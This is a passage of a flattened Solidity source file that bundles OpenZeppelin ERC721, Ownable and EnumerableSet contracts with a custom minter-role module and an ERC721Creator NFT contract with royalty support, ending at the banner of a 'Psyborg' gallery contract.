* * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.0/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.0/contracts/utils/structs/EnumerableSet.sol // OpenZeppelin Contracts v4.4.0 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.0/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.0/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.0/contracts/token/ERC721/extensions/ERC721URIStorage.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721URIStorage.sol) pragma solidity ^0.8.0; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.0/contracts/token/ERC721/extensions/ERC721Burnable.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Burnable.sol) pragma solidity ^0.8.0; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.0/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: contracts/library/Mintable.sol pragma solidity ^0.8.9; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an minter) that can be granted exclusive access to * specific functions. * * By default, the minter account will be the one that deploys the contract. This * can later be changed with {setMinter}. * * This module is used through inheritance. It will make available the modifier * `onlyMinter`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Mintable is Ownable { using EnumerableSet for EnumerableSet.AddressSet; // Track registered minters EnumerableSet.AddressSet private _minters; /** * @dev Initializes the contract setting the deployer as the initial minter. */ constructor() { } /** * @dev Returns the address of the current minters. */ function getMinters() external view returns (address[] memory minters) { minters = new address[](_minters.length()); for (uint i = 0; i < _minters.length(); i++) { minters[i] = _minters.at(i); } return minters; } /** * @dev Throws if called by any account other than the Minter. */ modifier onlyMinter() { require(owner() == _msgSender() || _minters.contains(msg.sender), "Mintable: caller is not the owner or minter"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function addMinter(address newMinter) external virtual onlyOwner { require(newMinter != address(0), "Mintable: new minter is the zero address."); require(!_minters.contains(newMinter),"Mintable: Minter already exists."); _addMinter(newMinter); } /** * @dev Revoke a minter */ function revokeMinter(address minter) external onlyOwner { if (_minters.contains(minter)) { _minters.remove(minter); } } function _addMinter(address newMinter) private { _minters.add(newMinter); } } // File: contracts/library/UintSet.sol pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library UintSet { struct Set { // Storage of set values uint256[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(uint256 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Set storage set, uint256 value) internal returns (bool) { if (!contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Set storage set, uint256 value) internal returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { uint256 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Set storage set, uint256 value) internal view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function length(Set storage set) internal view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Set storage set, uint256 index) internal view returns (uint256) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Set storage set) internal view returns (uint256[] memory) { return set._values; } } // File: contracts/ERC721Creator.sol pragma solidity ^0.8.9 <0.9.0; /** * @title ERC721Creator contract * @dev Extends ERC721 Non-Fungible Token Standard basic implementation * @author @FrankPoncelet * */ ////////////////////////////////////////////// // // // ______ _____ _____ ______ ___ __ // // | ____| __ \ / ____|____ |__ \/_ | // // | |__ | |__) | | / / ) || | // // | __| | _ /| | / / / / | | // // | |____| | \ \| |____ / / / /_ | | // // |______|_| \_\\_____|/_/ |____||_| // // // ////////////////////////////////////////////// contract ERC721Creator is ERC721, ERC721URIStorage, ERC721Burnable, Mintable { using UintSet for UintSet.Set; uint256 private _lastTokenId; uint256 public _percentageRoyalty; string private _baseTokenURI = "ipfs://"; mapping(uint256 => address) private tokenCreators; mapping(address => UintSet.Set) private _creatorTokens; address public _receiver; constructor(string memory name, string memory symbol) ERC721(name, symbol) { _percentageRoyalty = 1000; // 10% _receiver = owner(); } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } /** * Royalties implementation. * */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { bytes4 _ERC165_ = 0x01ffc9a7; bytes4 _ERC721_ = 0x80ac58cd; bytes4 _EIP2981_ = 0x2a55205a; bytes4 _ERC721Metadata_ = 0x5b5e139f; return interfaceId == _ERC165_ || interfaceId == _ERC721_ || interfaceId == _EIP2981_ || interfaceId == _ERC721Metadata_; } function setRoyaltyBips(uint256 percentageRoyalty_) external onlyOwner { require(percentageRoyalty_ <= 10000, "ERC721Creator: Illegal argument more than 100%"); _percentageRoyalty = percentageRoyalty_; } function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address, uint256) { uint256 royaltyAmount = (salePrice * _percentageRoyalty) / 10000; return (_receiver, royaltyAmount); } function setRoyaltyReceiver(address receiver_) external onlyOwner { _receiver = receiver_; } /** * @dev Set the base token URI */ function setBaseTokenURI(string memory baseURI) external onlyOwner { _baseTokenURI = baseURI; } function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) { require(exists(tokenId),"ERC721Creator: Token does not exists."); super._burn(tokenId); address creator = tokenCreators[tokenId]; delete tokenCreators[tokenId]; _creatorTokens[creator].remove(tokenId); } /** * Returns the creator for a given TokenID. */ function tokenCreator(uint256 tokenId) public view returns (address) { return tokenCreators[tokenId]; } /** * Returns all the Tokens for a specific creator. */ function creatorTokens(address creator) public view returns (uint256[] memory) { return _creatorTokens[creator].values(); } /** * Returns the URI for a specific Token. */ function tokenURI(uint256 tokenId) public view virtual override(ERC721, ERC721URIStorage) returns (string memory) { return super.tokenURI(tokenId); } /** * @dev Mints a NEW Token. * Only allowed for adresses that have the minter role. */ function mint(string memory _tokenURI) external onlyMinter { require(bytes(_tokenURI).length != 0, "ERC721Creator: Missing tokenURI"); _lastTokenId += 1; _safeMint(owner(), _lastTokenId); _setTokenURI(_lastTokenId, _tokenURI); _creatorTokens[msg.sender].add(_lastTokenId); tokenCreators[_lastTokenId] = msg.sender; } /** * @dev allows to update the metadata of a token. * Only allowed for adresses that have the minter role AND are the creator/contractOwner of the token. * Only allowed if you still Own the token. */ function updateTokenURI(uint256 tokenID, string memory _tokenURI) external onlyMinter{ require(bytes(_tokenURI).length != 0, "ERC721Creator: Missing tokenURI."); require(exists(tokenID),"ERC721Creator: Token does not exists."); require(msg.sender==tokenCreator(tokenID) || msg.sender==owner(),"ERC721Creator: Token not created by you."); require(ownerOf(tokenID) == msg.sender,"ERC721Creator: You are not token owner."); _setTokenURI(tokenID, _tokenURI); } /** * @dev Indicates weither any token exist with a given id, or not. */ function exists(uint256 id) public view virtual returns (bool) { return tokenCreators[id] != address(0); } /** * @dev Gets the total amount of tokens stored by the contract. * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return _lastTokenId; } } // File: contracts/Psyborg.sol pragma solidity ^0.8.0; /** * @title Psyborg.Gallery * @author @FrankPoncelet */ /////////////////////////////////////////////// //──────────╔╗────────────────╔╗╔╗ // //──────────║║────────────────║║║║ // //╔══╦══╦╗─╔╣╚═╦══╦═╦══╗╔══╦══╣║║║╔══╦═╦╗─╔╗ // 